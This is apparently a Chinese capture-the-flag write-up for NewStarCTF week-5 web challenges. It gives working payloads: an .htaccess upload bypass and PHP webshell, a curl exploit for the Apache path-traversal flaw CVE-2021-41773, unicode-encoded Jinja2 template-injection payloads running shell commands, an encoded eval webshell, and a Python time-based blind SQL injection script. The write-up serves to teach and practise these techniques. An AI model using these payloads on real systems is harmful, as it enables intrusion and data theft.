NewStarCTF|WEEK5|WEB

发布于:2022-10-23 ⋅ 阅读:(757) ⋅ 点赞:(0)

Give me your photo PLZ

一个上传页面

经过测试有黑名单过滤,可以上传图片与txt文件

上传.htacess修改Content-Type为 text/plain

.htaccess内容为

#define width 1337
#define height 1337 
AddType application/x-httpd-php .abc

 构造后缀为.abc的一句话木马上传即可。

Unsafe Apache

根据题目提示,直接看Apache版本,F12

Apache HTTP Server路径穿越漏洞 (CVE-2021-41773)

利用姿势

payload 修改ip地址即可

curl -v --data "echo;cat /f*" 'http://node4.buuoj.cn:29892/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'

 BabySSTI_Three

禁用名单

  _     
{%     
globals    
attr   
request      
"       
eval     
getattribute   
init      
mro     
base      
subclasses       
popen 
+    
    ~   
   url_for     

空格 

原始payload

{{lipsum.__globals__['os'].popen('ls /').read()}}

经过unicode编码

{{lipsum['\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f']['\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f']['\u0065\u0076\u0061\u006c']('\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u005f\u0028\u0027\u006f\u0073\u0027\u0029\u002e\u0070\u006f\u0070\u0065\u006e\u0028\u0027\u006c\u0073\u0020\u002f\u0027\u0029\u002e\u0072\u0065\u0061\u0064\u0028\u0029')}}

payload

{{lipsum['\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f']['\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f']['\u0065\u0076\u0061\u006c']('\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u005f\u0028\u0027\u006f\u0073\u0027\u0029\u002e\u0070\u006f\u0070\u0065\u006e\u0028\u0027\u0063\u0061\u0074\u0020\u002f\u0066\u002a\u0027\u0029\u002e\u0072\u0065\u0061\u0064\u0028\u0029')}}

So Baby RCE Again

构造一句话木马

内容为

<?php @eval($_POST['c']);?>

echo "\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76" >> 1.php

访问1.php,用蚁剑连接

flag就在其中但是没有权限,修改权限的命令都被禁止,一直以为是linux提权,各种CVE也没提权成功最后非预期解

 大佬解答一下

Final round

经过fuzz与测试

发现是数字性注入

if(3>2,sleep(3),1) #成功

过滤了空格与/ (其他过滤也不重要)所以用()绕过

爆表名与字段名正常的盲注,最后查字段内容时

嵌套个子查询并加上where(id=100)

直接上脚本

import requests
import time
import datetime

url='http://aeff56b0-9bec-4925-9f77-ef27b6d081b4.node4.buuoj.cn:81/comments.php'
result = ""
for i in range(1, 60):
    min_value = 33
    max_value = 127
    mid = (min_value + max_value) // 2  # 中值  mid = (min_value+max_value)>>1
    while (min_value != max_value):
        payload='if((ascii(mid((select(text)from(select(text)from(wfy.wfy_comments)where(id=100))a),{},1))>{}),0,(benchmark(1200000,sha(1))))'.format(i,mid) #爆表

        time1 = datetime.datetime.now()
        r = requests.post(
            url,
            data={'name':payload})
        time2 = datetime.datetime.now()
        sec = (time2 - time1).seconds
        # time.sleep(0.1)
        print(payload)
        if sec >= 1.2:
            max_value = mid   # mid值比ascii值大
        else:
            min_value = mid+1

        mid = (min_value + max_value)// 2  # 找不到目标元素时停止mid = (min_value+max_value)>>1

    result += chr(mid)
    print(result)

本文含有隐藏内容,请 开通VIP 后查看

网站公告

今日签到

点亮在社区的每一天
去签到